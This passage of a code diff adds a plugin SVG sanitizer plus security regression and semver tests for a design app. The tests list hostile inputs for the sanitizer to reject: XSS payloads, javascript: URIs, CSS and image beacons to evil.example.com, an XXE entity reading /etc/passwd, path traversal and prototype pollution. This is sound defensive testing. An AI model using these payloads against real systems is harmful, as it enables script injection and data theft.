() => {+ const r = sanitizePluginSvg(+ `<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="g1"/></defs><rect fill="url(#g1)" width="10" height="10"/><image href="data:image/png;base64,iVBOR" width="8" height="8"/></svg>`,+ )+ expect(r.ok).toBe(true)+ })++ it('accepts filter/gradient/pattern/marker elements', () => {+ const r = sanitizePluginSvg(+ `<svg><defs><filter id="f"><feGaussianBlur stdDeviation="2"/></filter><pattern id="p"><rect width="4" height="4"/></pattern><marker id="m"/></defs><rect filter="url(#f)" fill="url(#p)" width="9" height="9"/></svg>`,+ )+ expect(r.ok).toBe(true)+ })+})++describe('sanitizePluginSvg — the XSS corpus', () => {+ it('rejects script elements in every casing and spacing', () => {+ for (const evil of [+ '<svg><script>alert(1)</script></svg>',+ '<svg><SCRIPT>alert(1)</SCRIPT></svg>',+ '<svg>< script >alert(1)</ script ></svg>',+ '<svg><script/xss>alert(1)</script></svg>',+ '<svg><a href="#" onclick="alert(1)"><text>x</text></a></svg>',+ ]) {+ expect(sanitizePluginSvg(evil).ok, evil).toBe(false)+ }+ })++ it('rejects foreignObject (the HTML smuggling vector)', () => {+ expect(sanitizePluginSvg('<svg><foreignObject><div onclick="x()"/></foreignObject></svg>').ok).toBe(false)+ // mixed case+ expect(sanitizePluginSvg('<svg><ForeignObject/></svg>').ok).toBe(false)+ // split across a comment — rejoins at strip time+ expect(sanitizePluginSvg('<svg><foreign<!-- -->Object/></svg>').ok).toBe(false)+ })++ it('rejects event handler attributes', () => {+ for (const handler of ['onload', 'onclick', 'onanimationstart', 'ONERROR']) {+ const evil = `<svg><rect width="10" height="10" ${handler}="alert(1)"/></svg>`+ expect(sanitizePluginSvg(evil).ok, handler).toBe(false)+ }+ // false-positive guard: "on x =" inside text content is inert+ expect(sanitizePluginSvg('<svg><text>turn on x = 5</text></svg>').ok).toBe(true)+ })++ it('rejects javascript: and external hrefs (data:/# only)', () => {+ for (const evil of [+ '<svg><a href="javascript:alert(1)"><text>x</text></a></svg>',+ "<svg><a href='javascript:alert(1)'><text>x</text></a></svg>",+ '<svg><a xlink:href="https://evil.example.com"><text>x</text></a></svg>',+ '<svg><image href="https://evil.example.com/pixel.gif"/></svg>',+ '<svg><image href="//evil.example.com/pixel.gif"/></svg>',+ '<svg><image src="https://evil.example.com/pixel.gif"/></svg>',+ // unquoted javascript href+ '<svg><a href=javascript:alert(1)><text>x</text></a></svg>',+ ]) {+ expect(sanitizePluginSvg(evil).ok, evil.slice(0, 60)).toBe(false)+ }+ })++ it('rejects CSS exfiltration vectors in <style>', () => {+ expect(sanitizePluginSvg('<svg><style>@import url("https://evil.example.com/x.css");</style><rect/></svg>').ok).toBe(false)+ expect(sanitizePluginSvg('<svg><style>rect { background: url(https://evil.example.com/p); }</style><rect/></svg>').ok).toBe(false)+ expect(sanitizePluginSvg('<svg><style>rect { fill: url("data:image/png;base64,iVBOR"); }</style><rect/></svg>').ok).toBe(true)+ })++ it('rejects doctype/entity (XXE) and CDATA smuggling', () => {+ expect(sanitizePluginSvg('<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>').ok).toBe(false)+ expect(sanitizePluginSvg('<svg><![CDATA[<script>alert(1)</script>]]></svg>').ok).toBe(false)+ })+})++describe('sanitizePluginSvg — structural abuse', () => {+ it('rejects non-SVG documents and fragments', () => {+ for (const junk of ['', '<html><body></body></html>', '<div/>', 'hello', '<svg', '<svg>']) {+ expect(sanitizePluginSvg(junk).ok, JSON.stringify(junk)).toBe(false)+ }+ })++ it('rejects unknown elements', () => {+ expect(sanitizePluginSvg('<svg><iframe src="https://evil"/></svg>').ok).toBe(false)+ expect(sanitizePluginSvg('<svg><embed src="https://evil"/></svg>').ok).toBe(false)+ expect(sanitizePluginSvg('<svg><animate attributeName="href" values="https://evil"/></svg>').ok).toBe(false)+ expect(sanitizePluginSvg('<svg><set/></svg>').ok).toBe(false)+ })++ it('rejects unbalanced and mismatched tags', () => {+ expect(sanitizePluginSvg('<svg><g><rect width="5" height="5"/></svg>').ok).toBe(false)+ expect(sanitizePluginSvg('<svg></g></svg>').ok).toBe(false)+ expect(sanitizePluginSvg('<svg><g></text></g></svg>').ok).toBe(false)+ })++ it('enforces size and depth caps', () => {+ const big = `<svg>${'<rect width="1" height="1"/>'.repeat(Math.ceil(MAX_PLUGIN_SVG_BYTES / 26) + 10)}</svg>`+ expect(sanitizePluginSvg(big).ok).toBe(false)++ const deep = `<svg>${'<g>'.repeat(MAX_PLUGIN_SVG_DEPTH + 1)}${'</g>'.repeat(MAX_PLUGIN_SVG_DEPTH + 1)}</svg>`+ expect(sanitizePluginSvg(deep).ok).toBe(false)+ })++ it('rejects malformed markup the tag walker cannot fully parse', () => {+ expect(sanitizePluginSvg('<svg><rect width="5" <rect/></svg>').ok).toBe(false)+ })+})diff --git a/src/lib/plugins/sanitize-svg.ts b/src/lib/plugins/sanitize-svg.tsnew file mode 100644index 0000000..26b73d5--- /dev/null+++ b/src/lib/plugins/sanitize-svg.ts@@ -0,0 +1,200 @@+// ─────────────────────────────────────────────────────────────+// Plugin SVG sanitizer — validates renderer output before the+// host uses it anywhere (research/PLUGIN-SYSTEM.md §4.5).+//+// A plugin renderer returns { svg } which the host rasterizes on+// the canvas (Konva Image), embeds into SVG exports, and feeds to+// video export. The canvas path is safe by construction (scripts+// never execute in an <img>-loaded SVG), but the EXPORT path+// embeds the string into files people open elsewhere — so the+// sanitizer must hold on its own.+//+// Design: ACCEPT OR REJECT — never rewrite. Reconstructing SVG+// safely without a DOM is where sanitizers go to die; a pure+// allow/deny scan has no transformation bugs to exploit. The+// regexes are conservative on purpose: false rejections cost a+// placeholder card, false accepts cost an XSS.+//+// Parser-hardening notes (the tricks these regexes resist):+// · comments are stripped FIRST so `<scr<!-- -->ipt>` re-joins+// before any content check runs+// · the tag scanner cannot run an attribute past the next `<`+// (`[^>"'<]`), so a 2 MB hostile document cannot trigger+// quadratic backtracking+// · entity-encoded hrefs (`javascript:`) fail the+// data:/# prefix allowlist — decoding never widens it+//+// Runs in node (vitest) and browser (runtime) — no DOMParser.+// ─────────────────────────────────────────────────────────────++/** Renderer output cap (§4.5). */+export const MAX_PLUGIN_SVG_BYTES = 2 * 1024 * 1024+/** Max elements per output (bounds rasterizer work). */+export const MAX_PLUGIN_SVG_ELEMENTS = 20_000+/** Max tag nesting depth. */+export const MAX_PLUGIN_SVG_DEPTH = 64++export type SvgSanitizeResult =+ | { ok: true; svg: string }+ | { ok: false; error: string }++/** Tags a plugin renderer may emit. Anything else → reject (lowercase — tags are lowercased before lookup). */+const ALLOWED_TAGS = new Set([+ 'svg', 'g', 'defs', 'symbol', 'use', 'title', 'desc',+ 'path', 'rect', 'circle', 'ellipse', 'line', 'polyline', 'polygon',+ 'text', 'tspan', 'textpath',+ 'image', 'lineargradient', 'radialgradient', 'stop', 'pattern',+ 'clippath', 'mask', 'filter', 'feblend', 'fecolormatrix', 'fecomponenttransfer',+ 'fecomposite', 'feconvolvematrix', 'fediffuselighting', 'fedisplacementmap',+ 'fedistantlight', 'fedropshadow', 'feflood', 'fefunca', 'fefuncb', 'fefuncg',+ 'fefuncr', 'fegaussianblur', 'feimage', 'femerge', 'femergenode', 'femorphology',+ 'feoffset', 'fepointlight', 'fespecularlighting', 'fespotlight', 'fetile',+ 'feturbulence', 'marker', 'style', 'switch', 'a',+])++const COMMENT_RE = /<!--[\s\S]*?-->/g+const XML_DECL_RE = /^\uFEFF?\s*<\?xml[^>]*\?>\s*/+const STYLE_BLOCK_RE = /<style\b([^>]*)>([\s\S]*?)<\/style\s*>/gi+// attrs may not run past the next '<' — see hardening note above.+// LAZY: the attrs group must yield a trailing '/' to the+// self-close capture, or <rect/> would wrongly stack as open.+const TAG_RE = /<(\/?)([a-zA-Z][a-zA-Z0-9:-]*)((?:"[^"]*"|'[^']*'|[^>"'<])*?)(\/?)>/g+const ATTR_VALUE_RE = /([a-zA-Z:][a-zA-Z0-9:_.-]*)\s*=\s*("([^"]*)"|'([^']*)')/g+const URL_ATTRS = new Set(['href', 'xlink:href', 'src'])+const RAW_ON_ATTR_RE = /\son[a-z]+\s*=/i+const RAW_JS_URI_RE = /\s(?:xlink:)?(?:href|src)\s*=\s*["']?\s*javascript\s*:/i+const JS_URI_PREFIX_RE = /^\s*javascript\s*:/i+const CSS_URL_RE = /url\(\s*('([^']*)'|"([^"]*)"|([^)'"]*))\s*\)/gi+const CSS_IMPORT_RE = /@import/i++function fail(error: string): SvgSanitizeResult {+ return { ok: false, error }+}++/** Every url(...) target in a CSS context must be data: or an internal #ref. */+function cssUrlsAreLocal(css: string): string | null {+ if (CSS_IMPORT_RE.test(css)) return '@import is not allowed in renderer CSS'+ CSS_URL_RE.lastIndex = 0+ let m: RegExpExecArray | null+ while ((m = CSS_URL_RE.exec(css)) !== null) {+ const url = (m[2] ?? m[3] ?? m[4] ?? '').trim()+ if (!url.startsWith('data:') && !url.startsWith('#')) {+ return `CSS may only reference data: URLs (found "${url.slice(0, 40)}")`+ }+ }+ return null+}++/**+ * Validate a plugin renderer's SVG output. On success the value+ * is safe to rasterize and to embed in exports — it is returned+ * UNCHANGED (accept-or-reject, no rewriting).+ */+export function sanitizePluginSvg(raw: string): SvgSanitizeResult {+ if (typeof raw !== 'string') return fail('renderer output must be a string')+ if (raw.length > MAX_PLUGIN_SVG_BYTES) {+ return fail(`renderer output is ${raw.length} bytes — the cap is ${MAX_PLUGIN_SVG_BYTES}`)+ }++ // 1. comments first — payloads split across comments rejoin here+ let s = raw.replace(COMMENT_RE, '')++ // 2. document shape: optional <?xml?>, then exactly an <svg>…</svg> doc+ s = s.replace(XML_DECL_RE, '')+ if (!s.startsWith('<svg')) return fail('renderer output must start with <svg (optional <?xml declaration)')+ if (!s.trimEnd().endsWith('</svg>')) return fail('renderer output must end with </svg>')++ // 3. document-level rejections: XXE vectors, CDATA games, stray PIs+ if (/<!DOCTYPE/i.test(s)) return fail('doctype declarations are not allowed')+ if (/<!ENTITY/i.test(s)) return fail('entity declarations are not allowed')+ if (/<!\[CDATA\[/.test(s)) return fail('CDATA sections are not allowed')+ if (s.includes('<?')) return fail('processing instructions are not allowed')++ // 4. script / foreignObject in any casing or spacing+ if (/<\s*\/?\s*script/i.test(s)) return fail('script elements are not allowed')+ if (/foreignobject/i.test(s)) return fail('foreignObject is not allowed')++ // 5. <style> blocks: validate CSS, replace with inert placeholders+ let styleError: string | null = null+ s = s.replace(STYLE_BLOCK_RE, (_m, _attrs: string, body: string) => {+ styleError ??= cssUrlsAreLocal(body)+ return '<g/>'+ })+ if (styleError) return fail(styleError)++ // 6. tag walk: allowlist, balance, depth, count, attributes+ let count = 0+ const stack: string[] = []+ TAG_RE.lastIndex = 0+ let m: RegExpExecArray | null+ while ((m = TAG_RE.exec(s)) !== null) {+ const closing = m[1] === '/'+ const tag = m[2].toLowerCase()+ const attrs = m[3] ?? ''+ const selfClosing = m[4] === '/'++ if (!ALLOWED_TAGS.has(tag)) {+ return fail(`element <${tag}> is not allowed in renderer output`)+ }+ if (closing) {+ if (stack.length === 0 || stack[stack.length - 1] !== tag) {+ return fail(`mismatched closing tag </${tag}>`)+ }+ stack.pop()+ continue+ }+ count += 1+ if (count > MAX_PLUGIN_SVG_ELEMENTS) {+ return fail(`more than ${MAX_PLUGIN_SVG_ELEMENTS} elements in renderer output`)+ }+ if (!selfClosing) stack.push(tag)+ if (stack.length > MAX_PLUGIN_SVG_DEPTH) {+ return fail(`renderer output nests deeper than ${MAX_PLUGIN_SVG_DEPTH} levels`)+ }++ // raw attr text: handlers and javascript: URIs, quoted or not+ if (RAW_ON_ATTR_RE.test(attrs)) {+ return fail('event handler attributes are not allowed')+ }+ if (RAW_JS_URI_RE.test(attrs)) {+ return fail('javascript: URIs are not allowed')+ }+ // unquoted href/src values (quoted values checked precisely below)+ if (/(?:xlink:)?href\s*=\s*(?!["'#])/i.test(attrs) || /src\s*=\s*(?!["'#])/i.test(attrs)) {+ return fail('href/src attributes must be quoted')+ }++ // quoted attribute values: precise name-aware checks+ ATTR_VALUE_RE.lastIndex = 0+ let am: RegExpExecArray | null+ while ((am = ATTR_VALUE_RE.exec(attrs)) !== null) {+ const name = am[1].toLowerCase()+ const value = am[3] ?? am[4] ?? ''+ if (/^on[a-z]+$/i.test(name)) {+ return fail(`event handler attribute "${name}" is not allowed`)+ }+ if (JS_URI_PREFIX_RE.test(value)) {+ return fail(`javascript: URIs are not allowed (attribute "${name}")`)+ }+ if (URL_ATTRS.has(name)) {+ if (!value.startsWith('data:') && !value.startsWith('#')) {+ return fail(`attribute "${name}" may only use data: URLs or internal #refs (found "${value.slice(0, 40)}")`)+ }+ }+ // CSS in attribute values (style="…") gets the same url() rules+ if (name === 'style') {+ const cssErr = cssUrlsAreLocal(value)+ if (cssErr) return fail(cssErr)+ }+ }+ }+ if (stack.length > 0) {+ return fail(`unclosed element <${stack[stack.length - 1]}>`)+ }+ // anything left after the walk that still looks like a tag = junk+ const residue = s.replace(TAG_RE, '')+ if (/<[a-zA-Z]/.test(residue)) {+ return fail('malformed markup in renderer output')+ }+ return { ok: true, svg: raw }+}diff --git a/src/lib/plugins/security-regression.test.ts b/src/lib/plugins/security-regression.test.tsnew file mode 100644index 0000000..d257351--- /dev/null+++ b/src/lib/plugins/security-regression.test.ts@@ -0,0 +1,213 @@+import { describe, expect, it } from 'vitest'+import { pluginServeCsp } from '@/lib/security/plugin-csp'+import { checkCloneSafe } from './data-caps'+import { checkEntryHtml, validateManifest } from './manifest'+import { methodAllowed, parsePermission, requiredPermission } from './permissions'+import { parseRpcCall, parseRpcResult, rpcErr } from './rpc'+import { sanitizePluginSvg } from './sanitize-svg'++// ─────────────────────────────────────────────────────────────+// PLUGIN SECURITY REGRESSION SUITE (seed — research §6)+//+// Every entry in this file is a concrete attack that once worked+// against SOME plugin system somewhere. The rule: any failure+// here is a CVE-class regression, not a test flake. This suite+// runs with plain `vitest` on every PR — the same gate that+// guards main. It grows with every milestone (e2e cases land in+// P5/P6; these are the protocol-level guarantees).+//+// Corpus sections:+// A. manifest fuzz — 16 malformed/hostile manifests+// B. renderer SVG — hostile output strings+// C. RPC envelopes — replay, spoof and smuggle attempts+// D. cross-module — full attack chains+// ─────────────────────────────────────────────────────────────++const HOST = { hostAppVersion: '0.13.0' }++function manifest(overrides: Record<string, unknown>): Record<string, unknown> {+ return {+ canvixPluginApi: '1',+ id: 'net.example.plugin',+ name: 'Example',+ version: '1.0.0',+ engines: { canvix: '>=0.13.0 <0.14.0' },+ entry: { panel: 'panel.html' },+ permissions: [],+ ...overrides,+ }+}++describe('A. manifest fuzz corpus (install route must reject every one)', () => {+ // own __proto__ key via defineProperty — the JSON.parse attack shape+ const protoDoc = manifest({}) as Record<string, unknown>+ Object.defineProperty(protoDoc, '__proto__', { value: { polluted: true }, enumerable: true })+ const corpus: Array<{ name: string; doc: unknown }> = [+ { name: 'not an object', doc: '"just a string"' },+ { name: 'array smuggle', doc: [manifest({})] },+ { name: 'null manifest', doc: null },+ { name: 'prototype pollution key', doc: protoDoc },+ { name: 'reserved first-party id', doc: manifest({ id: 'com.canvix.evil' }) },+ { name: 'bare canvix id', doc: manifest({ id: 'canvix' }) },+ { name: 'future api major', doc: manifest({ canvixPluginApi: '2' }) },+ { name: 'future api minor', doc: manifest({ canvixPluginApi: '1.9' }) },+ { name: 'non-numeric api', doc: manifest({ canvixPluginApi: 'one' }) },+ { name: 'wrong host range', doc: manifest({ engines: { canvix: '>=0.99.0' } }) },+ { name: 'garbage range', doc: manifest({ engines: { canvix: 'whenever' } }) },+ { name: 'traversal entry', doc: manifest({ entry: { panel: '../../../etc/passwd.html' } }) },+ { name: 'absolute entry', doc: manifest({ entry: { panel: '/etc/passwd.html' } }) },+ { name: 'remote entry', doc: manifest({ entry: { panel: 'https://evil.example.com/panel.html' } }) },+ { name: 'unknown permission', doc: manifest({ permissions: ['design:read', 'root:everything'] }) },+ { name: 'http network origin', doc: manifest({ permissions: ['network:http://evil.example.com'] }) },+ { name: 'credentialed network origin', doc: manifest({ permissions: ['network:https://user:[email protected]'] }) },+ { name: 'oversize manifest', doc: manifest({ description: 'x'.repeat(70 * 1024) }) },+ { name: 'invalid semver version', doc: manifest({ version: '1.0' }) },+ { name: 'does nothing (no entry, no elements)', doc: manifest({ entry: {} }) },+ ]++ it('every corpus entry is rejected', () => {+ for (const { name, doc } of corpus) {+ const r = validateManifest(doc, HOST)+ expect(r.ok, `corpus "${name}" must be rejected`).toBe(false)+ if (!r.ok) {+ // rejections must be plain-language, never empty+ expect(r.errors.length).toBeGreaterThan(0)+ for (const e of r.errors) expect(e.length).toBeGreaterThan(5)+ }+ }+ })++ it('a benign manifest still passes (no false-positive drift)', () => {+ const r = validateManifest(manifest({ permissions: ['design:read'] }), HOST)+ expect(r.ok).toBe(true)+ })+})++describe('B. hostile renderer SVG corpus', () => {+ const corpus: Array<{ name: string; svg: string }> = [+ { name: 'inline script', svg: '<svg><script>alert(1)</script></svg>' },+ { name: 'script with attributes', svg: '<svg><script type="text/javascript" src="x.js"></script></svg>' },+ { name: 'foreignObject XSS', svg: '<svg><foreignObject width="10" height="10"><body xmlns="http://www.w3.org/1999/xhtml"><img src=x onerror=alert(1)/></body></foreignObject></svg>' },+ { name: 'event handler', svg: '<svg><rect width="9" height="9" onload="alert(1)"/></svg>' },+ { name: 'animate href flip', svg: '<svg><a><animate attributeName="href" to="https://evil.example.com"/><text>x</text></a></svg>' },+ { name: 'external image beacon', svg: '<svg><image href="https://evil.example.com/pixel.gif" width="1" height="1"/></svg>' },+ { name: 'css exfil', svg: '<svg><style>rect{fill:url(https://evil.example.com/c)}</style><rect width="9" height="9"/></svg>' },+ { name: 'css import', svg: '<svg><style>@import "https://evil.example.com/x.css"</style><rect/></svg>' },+ { name: 'style attr exfil', svg: '<svg><rect width="9" height="9" style="fill:url(\'https://evil.example.com/c\')"/></svg>' },+ { name: 'xxe doctype', svg: '<!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]><svg>&x;</svg>' },+ { name: 'cdata smuggle', svg: '<svg><![CDATA[</svg><script>alert(1)</script>]]></svg>' },+ { name: 'comment split script', svg: '<svg><scr<!-- -->ipt>alert(1)</scr<!-- -->ipt></svg>' },+ { name: 'unquoted javascript href', svg: '<svg><a href=javascript:alert(1)><text>x</text></a></svg>' },+ { name: 'nested svg bomb hint', svg: '<svg>' + '<g>'.repeat(200) + '</g>'.repeat(200) + '</svg>' },+ { name: 'html smuggled as svg', svg: '<html><body><script>alert(1)</script></body></html>' },+ { name: 'iframe element', svg: '<svg><iframe href="https://evil.example.com"/></svg>' },+ ]++ it('every corpus entry is rejected', () => {+ for (const { name, svg } of corpus) {+ const r = sanitizePluginSvg(svg)+ expect(r.ok, `svg "${name}" must be rejected`).toBe(false)+ }+ })++ it('benign word-cloud SVG still passes', () => {+ const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 600"><rect width="800" height="600" fill="#ffffff"/><g font-family="system-ui, sans-serif"><text x="400" y="300" font-size="72" fill="#7630D7" text-anchor="middle">design</text><text x="200" y="150" font-size="40" fill="#02C0CC" text-anchor="middle">fast</text></g></svg>`+ expect(sanitizePluginSvg(svg).ok).toBe(true)+ })+})++describe('C. RPC envelope attacks', () => {+ it('protocol downgrade/upgrade attempts get E_VERSION', () => {+ for (const v of [0, 2, 3, '1', 1.2, null]) {+ const r = parseRpcCall({ v, id: 'rpc_1', dir: 'call', method: 'info' })+ expect(r.ok, `v=${String(v)}`).toBe(false)+ if (!r.ok) expect(r.code).toBe('E_VERSION')+ }+ })++ it('method name injection cannot smuggle through the charset', () => {+ for (const method of [+ '__proto__', 'design.getSnapshot ', ' design.getSnapshot',+ 'Design.GetSnapshot', 'design/getSnapshot', 'design.getSnapshot;drop',+ ]) {+ const r = parseRpcCall({ v: 1, id: 'r1', dir: 'call', method })+ expect(r.ok, JSON.stringify(method)).toBe(false)+ }+ // 'constructor' passes the charset on purpose — it is a valid dotted+ // name; the BROKER's catalog check (Object.hasOwn) rejects it+ expect(parseRpcCall({ v: 1, id: 'r1', dir: 'call', method: 'constructor' }).ok).toBe(true)+ expect(requiredPermission('constructor')).toBeUndefined()+ })++ it('replayed result envelopes cannot pose as calls (and vice versa)', () => {+ const result = rpcErr('rpc_9', 'E_PERMISSION', 'nope')+ expect(parseRpcCall(result).ok).toBe(false)+ const call = { v: 1, id: 'r2', dir: 'call', method: 'info' }+ expect(parseRpcResult(call).ok).toBe(false)+ })++ it('oversized/deep/hostile params are rejected at parse time', () => {+ const attacks: unknown[] = [+ { blob: 'x'.repeat(300 * 1024) },+ { nested: JSON.parse('{"a":'.repeat(20) + '1' + '}'.repeat(20)) },+ { fn: () => 'hi' },+ JSON.parse('{"__proto__": {"x": 1}}'),+ ]+ for (const params of attacks) {+ const r = parseRpcCall({ v: 1, id: 'r3', dir: 'call', method: 'design.getSnapshot', params })+ expect(r.ok).toBe(false)+ }+ })++ it('handshake token charset blocks injection into the iframe URL', () => {+ for (const handshake of ['"><script>', '../../path', 'with space', 'ok-token-1234']) {+ const r = parseRpcCall({ v: 1, id: 'r4', dir: 'call', method: 'info', handshake })+ if (handshake === 'ok-token-1234') expect(r.ok).toBe(true)+ else expect(r.ok, handshake).toBe(false)+ }+ })+})++describe('D. cross-module attack chains', () => {+ it('chain: manifest declares nothing, RPC asks for everything → default-deny holds', () => {+ // a valid, permission-free manifest+ const m = validateManifest(manifest({ permissions: [] }), HOST)+ expect(m.ok).toBe(true)+ // its calls still parse, but the broker's permission table denies them+ expect(methodAllowed('design.getSnapshot', [])).toBe(false)+ expect(methodAllowed('actions.apply', [])).toBe(false)+ expect(methodAllowed('storage.get', [])).toBe(false)+ })++ it('chain: network permission strings flow manifest → consent → CSP unchanged', () => {+ const origin = 'network:https://api.example.com'+ const parsed = parsePermission(origin)+ expect(parsed?.origin).toBe('https://api.example.com')+ // plugin-csp accepts exactly this origin and nothing wider+ const csp = pluginServeCsp([parsed!.origin!])+ expect(csp).toContain('connect-src https://api.example.com')+ // a denied origin never appears in the header+ expect(pluginServeCsp([])).toContain("connect-src 'none'")+ })++ it('chain: renderer output with hostile data survives no path into exports', () => {+ // hostile element data (passes manifest caps — it is just strings)…+ const dataOk = checkCloneSafe({ label: '</svg><script>alert(1)</script>' })+ expect(dataOk).toBeNull()+ // …but the same string as renderer OUTPUT is rejected by the sanitizer+ const svg = `<svg><text>${'</svg><script>alert(1)</script>'}</text></svg>`+ expect(sanitizePluginSvg(svg).ok).toBe(false)+ })++ it('chain: entry HTML cannot smuggle execution despite CSP', () => {+ const htmls = [+ '<script>inline()</script>',+ '<img src=x onerror=alert(1)>',+ '<a href="javascript:alert(1)">x</a>',+ '<script src="https://evil.example.com/x.js"></script>',+ '<script src="../outside/x.js"></script>',+ ]+ for (const html of htmls) expect(checkEntryHtml(html)).not.toBeNull()+ expect(checkEntryHtml('<div id="app"></div><script src="app.js"></script>')).toBeNull()+ })+})diff --git a/src/lib/plugins/semver.test.ts b/src/lib/plugins/semver.test.tsnew file mode 100644index 0000000..e8dd234--- /dev/null+++ b/src/lib/plugins/semver.test.ts@@ -0,0 +1,138 @@+import { describe, expect, it } from 'vitest'+import { compareSemver, matchesRange, parseSemver, sameVersion } from './semver'++// P1 security boundary: plugin engines ranges must be matched by a+// hand-rolled parser (zero-dep rule, research §4.10). These tests+// pin the grammar the manifest validator and install route rely on.++describe('parseSemver', () => {+ it('parses plain triples', () => {+ expect(parseSemver('0.13.0')).toEqual({ major: 0, minor: 13, patch: 0, prerelease: [] })+ expect(parseSemver('1.2.3')).toEqual({ major: 1, minor: 2, patch: 3, prerelease: [] })+ })++ it('accepts v-prefix and build metadata (ignored)', () => {+ expect(parseSemver('v1.2.3')?.patch).toBe(3)+ expect(parseSemver('1.2.3+build.7')?.minor).toBe(2)+ })++ it('parses prerelease identifiers with numeric rules', () => {+ const v = parseSemver('1.0.0-rc.1')+ expect(v?.prerelease).toEqual(['rc', 1])+ // leading zeros on numeric identifiers are invalid per spec+ expect(parseSemver('1.0.0-01')).toBeNull()+ expect(parseSemver('1.0.0-rc.02')).toBeNull()+ })++ it('rejects junk', () => {+ for (const bad of ['', '1', '1.2', '1.2.3.4', 'a.b.c', '1.2.x', '>=1.2.3', '1.2.3-', ' ']) {+ expect(parseSemver(bad)).toBeNull()+ }+ })+})++describe('compareSemver', () => {+ it('orders triples numerically', () => {+ expect(compareSemver(parseSemver('0.12.9')!, parseSemver('0.13.0')!)).toBeLessThan(0)+ expect(compareSemver(parseSemver('1.0.0')!, parseSemver('0.99.99')!)).toBeGreaterThan(0)+ })++ it('orders prereleases: release > rc.10 > rc.2.a > rc.2 > alpha', () => {+ // spec: larger identifier sets rank higher when preceding fields tie+ const seq = ['1.0.0-alpha', '1.0.0-rc.2', '1.0.0-rc.2.a', '1.0.0-rc.10', '1.0.0']+ for (let i = 0; i + 1 < seq.length; i++) {+ expect(compareSemver(parseSemver(seq[i])!, parseSemver(seq[i + 1])!)).toBeLessThan(0)+ }+ })+})++describe('matchesRange', () => {+ it('exact match', () => {+ expect(matchesRange('0.12.5', '0.12.5')).toBe(true)+ expect(matchesRange('0.12.6', '0.12.5')).toBe(false)+ expect(matchesRange('0.12.5', '=0.12.5')).toBe(true)+ })++ it('comparator sets (the manifest example)', () => {+ expect(matchesRange('0.12.5', '>=0.12.0 <0.13.0')).toBe(true)+ expect(matchesRange('0.12.0', '>=0.12.0 <0.13.0')).toBe(true)+ expect(matchesRange('0.13.0', '>=0.12.0 <0.13.0')).toBe(false)+ expect(matchesRange('0.11.9', '>=0.12.0 <0.13.0')).toBe(false)+ })++ it('hyphen ranges are inclusive and partial upper ends open up', () => {+ expect(matchesRange('0.12.0', '0.12.0 - 0.13.0')).toBe(true)+ expect(matchesRange('0.13.0', '0.12.0 - 0.13.0')).toBe(true)+ expect(matchesRange('0.13.1', '0.12.0 - 0.13.0')).toBe(false)+ expect(matchesRange('0.13.9', '0.12.0 - 0.13')).toBe(true)+ expect(matchesRange('0.14.0', '0.12.0 - 0.13')).toBe(false)+ })++ it('OR alternatives', () => {+ expect(matchesRange('0.11.8', '>=0.14.0 || 0.11.x')).toBe(true)+ expect(matchesRange('0.12.0', '>=0.14.0 || 0.11.x')).toBe(false)+ })++ it('x-ranges and bare partials', () => {+ expect(matchesRange('0.12.9', '0.12.x')).toBe(true)+ expect(matchesRange('0.13.0', '0.12.x')).toBe(false)+ expect(matchesRange('0.12.3', '0.12')).toBe(true)+ expect(matchesRange('0.12.3', '0.x')).toBe(true)+ expect(matchesRange('1.0.0', '0.x')).toBe(false)+ expect(matchesRange('0.12.3', '0.*')).toBe(true)+ })++ it('comparators on partials shift like node-semver', () => {+ expect(matchesRange('1.3.0', '>1.2')).toBe(true) // >1.2 ⇒ >=1.3.0+ expect(matchesRange('1.2.9', '>1.2')).toBe(false)+ expect(matchesRange('1.2.9', '<1.3')).toBe(true) // <1.3 ⇒ <1.3.0+ expect(matchesRange('1.3.0', '<1.3')).toBe(false)+ })++ it('caret follows node-semver incl. the 0-major pinning', () => {+ expect(matchesRange('1.9.9', '^1.2.3')).toBe(true)+ expect(matchesRange('2.0.0', '^1.2.3')).toBe(false)+ expect(matchesRange('0.12.9', '^0.12.3')).toBe(true)+ expect(matchesRange('0.13.0', '^0.12.3')).toBe(false)+ expect(matchesRange('0.0.3', '^0.0.3')).toBe(true)+ expect(matchesRange('0.0.4', '^0.0.3')).toBe(false)+ expect(matchesRange('1.5.0', '^1.2')).toBe(true)+ expect(matchesRange('0.13.0', '^0')).toBe(true)+ expect(matchesRange('1.0.0', '^0')).toBe(false)+ })++ it('tilde pins the minor when one is given', () => {+ expect(matchesRange('1.2.9', '~1.2.3')).toBe(true)+ expect(matchesRange('1.3.0', '~1.2.3')).toBe(false)+ expect(matchesRange('1.9.0', '~1')).toBe(true)+ expect(matchesRange('2.0.0', '~1')).toBe(false)+ })++ it('prerelease versions need a same-triple prerelease comparator', () => {+ expect(matchesRange('0.13.0-rc.1', '>=0.13.0')).toBe(false)+ expect(matchesRange('0.13.0-rc.1', '>=0.13.0-rc.1')).toBe(true)+ expect(matchesRange('0.13.0-rc.2', '>=0.13.0-rc.1 <0.13.0')).toBe(true)+ expect(matchesRange('0.12.9-beta', '>=0.13.0-rc.1')).toBe(false)+ })++ it('unparseable input never matches (no silent no-op)', () => {+ expect(matchesRange('not-a-version', '>=1.0.0')).toBe(false)+ expect(matchesRange('1.0.0', 'not a range')).toBe(false)+ expect(matchesRange('1.0.0', '')).toBe(false)+ expect(matchesRange('1.0.0', '>=1.2')).toBe(false)+ expect(matchesRange('1.0.0', '1.2.3.4')).toBe(false)+ })++ it('tolerates whitespace and an OR with a bad alternative', () => {+ expect(matchesRange('0.12.5', ' >=0.12.0 <0.13.0 ')).toBe(true)+ expect(matchesRange('1.0.0', 'garbage || >=0.9.0')).toBe(true)+ })+})++describe('sameVersion', () => {+ it('distinguishes build metadata and prerelease', () => {+ expect(sameVersion('1.2.3', '1.2.3+build')).toBe(true)+ expect(sameVersion('1.2.3-rc.1', '1.2.3')).toBe(false)+ expect(sameVersion('nope', '1.2.3')).toBe(false)+ })+})diff --git a/src/lib/plugins/semver.ts b/src/lib/plugins/semver.tsnew file mode 100644index 0000000..70ffd28--- /dev/null+++ b/src/lib/plugins/semver.ts@@ -0,0 +1,309 @@+// ─────────────────────────────────────────────────────────────+// Plugin semver — the hand-rolled range matcher for plugin+// `engines.canvix` (research/PLUGIN-SYSTEM.md §4.1).+//+// Why hand-rolled: the whole plugin system is zero-new-dependency+// (§4.10); the full `semver` package is ~30 KB for a grammar we+// only need a slice of. 